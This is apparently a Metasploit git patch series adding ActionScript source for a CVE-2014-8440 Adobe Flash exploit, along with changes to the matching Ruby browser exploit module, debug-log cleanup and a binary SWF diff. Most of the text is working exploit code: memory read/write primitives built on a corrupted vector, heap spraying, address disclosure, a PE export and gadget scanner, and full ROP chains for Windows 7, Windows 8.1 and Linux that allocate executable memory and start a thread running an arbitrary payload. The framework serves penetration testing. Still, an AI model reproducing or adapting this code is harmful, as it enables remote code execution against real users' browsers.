2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/Exploiter.as b/external/source/exploits/CVE-2014-8440/Exploiter.as new file mode 100755 index 0000000000..cefc394f5f --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/Exploiter.as @@ -0,0 +1,403 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(10000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + Logger.log("[*] byte_array_object: " + byte_array_object.toString(16)) + main = ev.at(pos + 1) - 1 + Logger.log("[*] main: " + main.toString(16)) + stack_object = ev.at(pos + 2) - 1 + Logger.log("[*] stack_object: " + stack_object.toString(16)) + payload_space_object = ev.at(pos + 3) - 1 + Logger.log("[*] payload_space_object: " + payload_space_object.toString(16)) + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/Logger.as b/external/source/exploits/CVE-2014-8440/Logger.as new file mode 100755 index 0000000000..61ec768c25 --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 1 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/PE.as b/external/source/exploits/CVE-2014-8440/PE.as new file mode 100755 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb index 05106da975..1847fc43ab 100644 --- a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb +++ b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb @@ -8,7 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) @@ -44,9 +43,12 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS_7, - :ua_name => Msf::HttpClients::IE, - :flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' }, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) }, + :flash => lambda { |ver| ver =~ /^15\./ && Gem::Version.new(ver) <= Gem::Version.new('15.0.0.189') }, :arch => ARCH_X86 }, 'Targets' => @@ -79,17 +81,18 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) + b64_payload = Rex::Text.encode_base64(target_payload) + platform_id = 'win' + os_name = target_info[:os_name] html_template = %Q| - + - + From d9db45690fc88e987a3082954e69c5dfc52b2e8d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 15:47:59 -0500 Subject: [PATCH 3/4] Delete debug messages --- external/source/exploits/CVE-2014-8440/Exploit.as | 1 - external/source/exploits/CVE-2014-8440/Exploiter.as | 4 ---- 2 files changed, 5 deletions(-) diff --git a/external/source/exploits/CVE-2014-8440/Exploit.as b/external/source/exploits/CVE-2014-8440/Exploit.as index f60ff34de6..da8d636a59 100755 --- a/external/source/exploits/CVE-2014-8440/Exploit.as +++ b/external/source/exploits/CVE-2014-8440/Exploit.as @@ -69,7 +69,6 @@ package if (i != corrupted_uv_index) object_vector[i] = null } - Logger.alert('corrupted :) ' + this.uv.length.toString(16)) exploiter = new Exploiter(this, platform, os, payload, uv) } diff --git a/external/source/exploits/CVE-2014-8440/Exploiter.as b/external/source/exploits/CVE-2014-8440/Exploiter.as index cefc394f5f..6e4eba3295 100755 --- a/external/source/exploits/CVE-2014-8440/Exploiter.as +++ b/external/source/exploits/CVE-2014-8440/Exploiter.as @@ -73,13 +73,9 @@ package { Logger.log("[*] Exploiter - disclose_objects()") byte_array_object = ev.at(pos) - 1 - Logger.log("[*] byte_array_object: " + byte_array_object.toString(16)) main = ev.at(pos + 1) - 1 - Logger.log("[*] main: " + main.toString(16)) stack_object = ev.at(pos + 2) - 1 - Logger.log("[*] stack_object: " + stack_object.toString(16)) payload_space_object = ev.at(pos + 3) - 1 - Logger.log("[*] payload_space_object: " + payload_space_object.toString(16)) if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { return false } From e5d6c9a3cb2605afee776137d59ad5e50e99360b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 16:01:29 -0500 Subject: [PATCH 4/4] Make last code cleanup --- data/exploits/CVE-2014-8440/msf.swf | Bin 21802 -> 21291 bytes .../source/exploits/CVE-2014-8440/Exploit.as | 139 ------------------ .../source/exploits/CVE-2014-8440/Logger.as | 2 +- ...obe_flash_uncompress_zlib_uninitialized.rb | 2 +- 4 files changed, 2 insertions(+), 141 deletions(-) diff --git a/data/exploits/CVE-2014-8440/msf.swf b/data/exploits/CVE-2014-8440/msf.swf index a677624095bb658d2f57c442ae2f83125c20c94a..5062779ed8ed1f536564ca73805bc38d7ef16b60 100755 GIT binary patch delta 21176 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 